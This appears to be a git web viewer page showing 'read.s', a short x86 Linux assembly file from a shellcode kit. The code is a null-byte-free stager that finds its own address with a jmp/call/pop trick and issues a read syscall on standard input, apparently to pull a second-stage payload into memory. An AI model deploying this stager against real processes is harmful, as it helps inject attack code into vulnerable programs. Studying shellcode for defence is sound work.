summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/read.s
blob: 870d125ae18466474dae8c64ddb8ce706d054ff9 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	.globl	cbegin
	.globl	cend

cbegin:
	jmp	cend

rrr:
	movb	$0xfa,	%dl		/* length */

	popl	%ecx			/* position */

	push	$0x41
	pop	%ebx
	xorb	$0x41,	%bl

	push	$0x3
	pop	%eax
	int	$0x80			/* read */

cend:
	call	rrr